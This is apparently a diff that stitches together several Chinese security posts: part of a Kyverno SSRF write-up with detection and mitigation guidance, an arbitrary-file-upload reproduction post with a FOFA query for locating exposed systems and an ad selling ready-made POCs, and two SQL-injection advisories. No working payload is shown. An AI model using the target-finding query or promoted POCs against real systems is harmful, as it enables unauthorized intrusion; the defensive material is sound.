此漏洞不仅仅是 Kyverno 的缺陷，更揭示了一种结构性的攻击模式。防御者应对任何接受用户自定义逻辑的准入控制器或策略引擎保持警惕。以下三个特性的叠加构成了 SSRF 风险：
|
||||
- • **特权网络位置：**
|
||||
准入控制器运行在集群内部，通常具备广泛的出站访问权限。它们是受信任的基础设施组件，而非普通用户工作负载。
|
||||
|
||||
- • **用户可控的输入触发网络调用：**
|
||||
当策略语言允许表达式解析为 HTTP 请求时（例如 CEL 的 http
|
||||
函数、API 调用、外部数据查询），用户提供的内容就可能影响控制器的连接目标。
|
||||
|
||||
- • **响应信息回显：**
|
||||
错误消息、审计日志及校验响应可能会将请求获取到的内容泄露回攻击者。
|
||||
|
||||
这种模式不仅限于 Kyverno。任何同时满足“以集群级别网络访问权限运行”和“评估用户提供的、可触发出站请求的表达式”这两个条件的 Kubernetes 组件，都应接受 SSRF 审计。以下组件值得以此视角进行审视：OPA/Gatekeeper 中 Rego 语言的 http.send
|
||||
函数、Falco 的插件系统，以及包含模板化外部调用的自定义 Webhook 服务器。
|
||||
|
||||
核心设计问题在于：是否应允许命名空间（委派的）策略从特权组件发起出站 HTTP 请求？ 在 Kyverno 的案例中，http.Lib
|
||||
的加入或许是为了支持合法用例（例如从 CEL 表达式中调用外部校验 API）。但该功能在发布时既未附带 URL 限制，也未实现 Namespace 感知的作用域控制，更未区分集群范围策略与命名空间策略的上下文差异。缓解补丁（PR [#15729]()
|
||||
）通过有条件地对命名空间策略禁用 http.Lib
|
||||
来解决此问题，同时保留集群范围策略对该功能的访问。一个完整的修复方案还需在 kyverno/sdk
|
||||
库层面增加 URL 校验逻辑。
|
||||
## 七、检测与威胁狩猎指南
|
||||
### 7.1 审计现有策略
|
||||
|
||||
搜索使用了 HTTP 函数的命名空间策略：
|
||||
```
|
||||
# 查找使用 http.Get 或 http.Post 的策略kubectl get namespacedvalidatingpolicies -A -o yaml | \ grep -E "http\.(Get|Post)"kubectl get namespaceddeletingpolicies -A -o yaml | \ grep -E "http\.(Get|Post)"
|
||||
```
|
||||
### 7.2 监控 Kyverno Pod 的出站流量
|
||||
|
||||
观察从 Kyverno 准入控制器（Admission Controller）发往其本不应访问的目标地址的连接：
|
||||
- • 169.254.169.254
|
||||
（云元数据服务）
|
||||
|
||||
- • 除 kyverno
|
||||
或 kube-system
|
||||
以外的其他
|
||||
命名空间
|
||||
中的 Service
|
||||
|
||||
- • 策略评估窗口期内访问的外部目标地址
|
||||
|
||||
### 7.3 日志分析
|
||||
```
|
||||
# Splunk/SIEM 伪代码示例index=kubernetes sourcetype=kyverno| search policy_type="Namespaced*"| search (expression="*http.Get*" OR expression="*http.Post*")| stats count by namespace, policy_name
|
||||
```
|
||||
## 八、纵深防御建议
|
||||
- • **为 Kyverno Pod 应用网络策略：**
|
||||
限制来自 kyverno
|
||||
|
||||
命名空间
|
||||
的出站流量，仅允许其访问 Kubernetes API Server 以及任何必须明确放行的外部服务。大多数 Kyverno 部署场景并不需要任意的出站 HTTP 访问能力。
|
||||
|
||||
- • **在网络层阻断元数据端点访问：**
|
||||
使用 NetworkPolicy、iptables 规则或云平台防火墙规则，阻断不需要云凭证的 Pod 对 169.254.169.254
|
||||
的访问。
|
||||
|
||||
- • **启用 IMDSv2（AWS）：**
|
||||
IMDSv2 要求在读取任何元数据之前，先通过 HTTP PUT 请求获取会话令牌。由于 SSRF 攻击通常使用 GET 请求，难以轻松完成先 PUT 再 GET 的操作序列，IMDSv2 可显著增加基于 SSRF 窃取凭证的难度（尽管并非在所有场景下都能完全杜绝）。
|
||||
|
||||
- • **审计并收紧策略创建相关的 RBAC 权限：**
|
||||
审查哪些主体拥有对 namespacedvalidatingpolicies
|
||||
和 namespaceddeletingpolicies
|
||||
资源的 create
|
||||
权限。若
|
||||
命名空间
|
||||
管理员不需要使用 CEL HTTP 函数，可考虑通过 RBAC 或准入规则限制对这些 API 资源的访问。
|
||||
|
||||
- • **关注修复进展：**
|
||||
跟踪 PR [#15789]()
|
||||
（维护者提交的修复）及后续的 Kyverno 版本发布。一旦发布包含补丁的版本，请立即升级。
|
||||
|
||||
## 九、修复状态
|
||||
|
||||
修复代码已合并至 Kyverno 主分支（PR [#15789]()
|
||||
，于 2026 年 4 月 6 日合并）。由 Orca Security 研究团队提交的原始缓解补丁（PR [#15729]()
|
||||
）已被维护者关闭。维护者自行实现了一套更为全面的修复方案。维护者提供的修复内容包括：默认对命名空间策略禁用 http.Lib
|
||||
；新增 --allowHTTPInNamespacedPolicies
|
||||
开关以支持按需启用；新增 HTTP 黑名单/白名单标志，其默认值覆盖了环回地址、本地链路地址、RFC-1918 私有地址段、云元数据端点及 CGNAT 地址段；此外还包括一致性测试。
|
||||
|
||||
**重要提示：**
|
||||
目前尚无任何正式版本包含此修复。最新版本为 1.17.1（2026 年 2 月 19 日发布）。用户应在包含补丁的版本发布后立即升级。在此期间，请应用上文所述的网络策略和 RBAC 缓解措施。
|
||||
|
||||
**原始缓解补丁 PR：**
|
||||
https://github.com/kyverno/kyverno/pull/15729 （已关闭）
|
||||
|
||||
**维护者修复 PR：**
|
||||
https://github.com/kyverno/kyverno/pull/15789 （已合并至主分支）
|
||||
## 十、披露时间线
|
||||
|
||||
<table><thead><tr><th style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">日期</span></section></th><th style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">2026-01-29</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">通过 GHSA-rggm-jjmc-3394 提交漏洞报告</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">2026-02-04</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">向维护者跟进询问（未收到回复）</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">2026-02-06</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">提交至 CERT/CC</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">2026-02-09</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">CERT/CC 立案，案件编号 VU<a class="wx_topic_link" topic-id="mnvrqowh-95axok" style="color: #576B95 !important;" data-topic="1" data-recommend="">#655822</a></span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">2026-03-24</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">分配 CVE 编号 CVE-2026-4789</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">2026-03-26</spanLine truncated
|
||||
## 十一、Orca Security 如何提供帮助
|
||||
|
||||
Orca 的无代理云安全平台可扫描 Kubernetes 集群，并识别出运行受影响的 Kyverno 版本（>= 1.16.0）的部署。结合 Orca 的攻击路径分析功能，安全团队可根据实际暴露面确定修复优先级：哪些集群面向互联网、哪些集群缺乏限制 Kyverno 出站流量的网络策略，以及哪些集群运行在未阻断元数据端点访问的云节点上。这些上下文信息可将一个通用的 CVE 告警转化为可操作的、基于实际风险的评估。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- • CVE-2026-4789（NVD）：https://nvd.nist.gov/vuln/detail/CVE-2026-4789
|
||||
|
||||
- • VU[#655822]()
|
||||
（CERT/CC）：https://kb.cert.org/vuls/id/655822
|
||||
|
||||
- • GHSA-qqrv-2hch-83q4（公开安全通告）：https://github.com/advisories/GHSA-qqrv-2hch-83q4
|
||||
|
||||
- • GHSA-rggm-jjmc-3394（向维护者提交的原始私有报告）
|
||||
|
||||
- • 缓解补丁 PR：https://github.com/kyverno/kyverno/pull/15729 （已关闭）
|
||||
|
||||
- • 维护者修复 PR：https://github.com/kyverno/kyverno/pull/15789 （已合并至主分支）
|
||||
|
||||
- • 相关的历史 Kyverno SSRF 修复（涉及不同代码路径）：GHSA-8p9x-46gm-qfx2、GHSA-459x-q9hg-4gpq
|
||||
|
||||
## 致谢
|
||||
- • **漏洞发现者：**
|
||||
Igor Stepansky，Orca Security 研究团队
|
||||
|
||||
- • **协调方：**
|
||||
CERT/CC（VU[#655822]()
|
||||
）
|
||||
|
||||
- • **VU 通告作者：**
|
||||
Dr. Elke Drennan, CISSP
|
||||
|
||||
#### 引用链接
|
||||
|
||||
[1]
|
||||
《Kyverno SSRF: Breaking Kubernetes Namespace Isolation (CVE-2026-4789)》: https://orca.security/resources/blog/kyverno-ssrf-vulnerability-cve-2026-4789/
|
||||
[2]
|
||||
NVD 评估向量显示为 PR:N（无需任何权限）: https://nvd.nist.gov/vuln/detail/CVE-2026-4789
|
||||
[3]
|
||||
Kubernetes 原生策略引擎: https://orca.security/glossary/kubernetes-security/
|
||||
[4]
|
||||
`kyverno` Namespace: https://orca.security/resources/open-source-projects/
|
||||
[5]
|
||||
此漏洞为何属于严重级别: https://orca.security/resources/blog/what-is-cnapp/
|
||||
[6]
|
||||
VU[#655822]()
|
||||
: https://kb.cert.org/vuls/id/655822
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**交流群**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
# 漏洞复现 | 中成科信综合管理平台 UploadFile 存在任意文件上传漏洞
|
||||
实战安全研究 2026-04-13 02:04
|
||||
|
||||
**免责声明**
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"><td valign="top" style="-webkit-tap-highlight-color: transparent;outline: 0px;word-break: break-all;hyphens: auto;visibility: visible;"><span style="color: rgb(255, 0, 0);letter-spacing: 0.544px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;visibility: visible;font-size: 14px;"><span leaf="">本文仅用于技术学习和安全研究，请勿使用本文所提供的内容及相关技术从事非法活动，由于传播和利用此文所提供的内容或工具而造成任何直接或间接的损失后果，均由使用者本人承担，所产生一切不良后果与文章作者及本账号无关。如内容有争议或侵权，请私信我们！我们会立即删除并致歉。谢谢！</span></span></td></tr></tbody></table>
|
||||
1
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
|
||||
中成科信综合管理平台 UploadFile 存在任意文件上传漏洞，未经身份验证的攻击者可通过构造恶意上传请求，绕过文件类型限制，将任意文件上传至服务器，进而可能实现远程代码执行或服务器控制，影响系统的完整性和安全性。
|
||||
|
||||
2
|
||||
|
||||
**影响版本**
|
||||
|
||||
|
||||
|
||||
|
||||
中成科信综合管理平台
|
||||
|
||||
3
|
||||
|
||||
**测绘语法**
|
||||
|
||||
|
||||
|
||||
fofa语法
|
||||
```
|
||||
body="SystemManager/SoftwareLicense.htm"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
4
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
上传文件
|
||||
|
||||
|
||||
|
||||
访问文件
|
||||
|
||||
|
||||
|
||||
|
||||
5
|
||||
|
||||
**检测POC**
|
||||
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||
|
||||
|
||||
afrog
|
||||
|
||||
|
||||
|
||||
|
||||
6
|
||||
|
||||
**漏洞修复**
|
||||
|
||||
|
||||
1、建议联系厂商打补丁或升级版本。
|
||||
|
||||
2、增加Web应用防火墙防护。
|
||||
|
||||
3、关闭互联网暴露面或接口设置访问权限。
|
||||
|
||||
7
|
||||
|
||||
**内部圈子**
|
||||
|
||||
|
||||
**现在已更新POC数量 2300+（中危以上）**
|
||||
|
||||
|
||||
🔥 **1day/Nday 漏洞实战圈上线**
|
||||
🔥
|
||||
|
||||
还在到处找公开漏洞 POC？
|
||||
|
||||
这里专注整合全网公开1day/Nday漏洞POC和复现，一站式解决你的痛点！
|
||||
|
||||
🔍
|
||||
圈子福利
|
||||
|
||||
✅ 整合全网 1day/Nday 漏洞POC，附带复现步骤，新手也能快速上手
|
||||
|
||||
✅ 每周更新 7-15 个POC测试脚本，经过实测验证，到手就能用
|
||||
|
||||
✅ 完美适配 Nuclei/Afrog 扫描工具，脚本无需额外修改，即拿即用
|
||||
|
||||
✅ 重磅福利：免费 FOFA 高级会员查询，无需账号也能高效资产测绘
|
||||
|
||||
✅ 专属权益：提供指纹识别库，指纹库持续更新
|
||||
|
||||
💡
|
||||
适合对象
|
||||
|
||||
渗透测试🔹攻防演练🔹安全运维🔹企业自查
|
||||
🔹SRC漏洞挖掘
|
||||
|
||||
⚠️
|
||||
重要提醒
|
||||
|
||||
仅限授权范围内的合法安全测试，严禁用于未授权攻击行为！
|
||||
|
||||
本服务为虚拟资源服务，一经购买概不退款，请按需谨慎购买！
|
||||
|
||||
目前圈子已满100人，价格由59.9调整为64.9元（
|
||||
交个朋友啦
|
||||
），150人后调整为66.9元。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
# 漏洞预警 | LEAN MES系统SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-04-12 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
LEAN MES系统是由深圳市深科特信息技术有限公司开发的一款应用系统，主要用于生产调度、产品跟踪、质量控制等车间管理功能。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**漏洞类型：**
|
||||
SQL注入
|
||||
|
||||
**影响：**
|
||||
获取敏感信息
|
||||
|
||||
**简述：**
|
||||
LEAN MES系统的/Handler/TestManagePlatform.ashx接口存在SQL注入漏洞，攻击者可以通过构造恶意的SQL语句，获取数据库中的敏感信息或对数据库进行未授权操作。
|
||||
|
||||
**0x04 影响版本**
|
||||
- LEAN MES系统
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.sz-skt.com/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# 漏洞预警 | parsl SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-04-12 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2026-21892
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
parsl是Parallel Scripting Library开源的一个Python的并行脚本库。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**CVE-2026-21892**
|
||||
|
||||
**漏洞类型：**
|
||||
SQL注入
|
||||
|
||||
**影响：**
|
||||
获取敏感信息
|
||||
|
||||
**简述：**
|
||||
parsl存在SQL注入漏洞，由于parsl-visualize组件参数过滤不严格，
|
||||
攻击者可利用该漏洞实现未授权数据库操作。
|
||||
|
||||
**0x04 影响版本**
|
||||
- parsl < 2026.01.05
|
||||
|
||||
**0x05****POC状态**
|
||||
- 未公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://github.com/Parsl/parsl
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user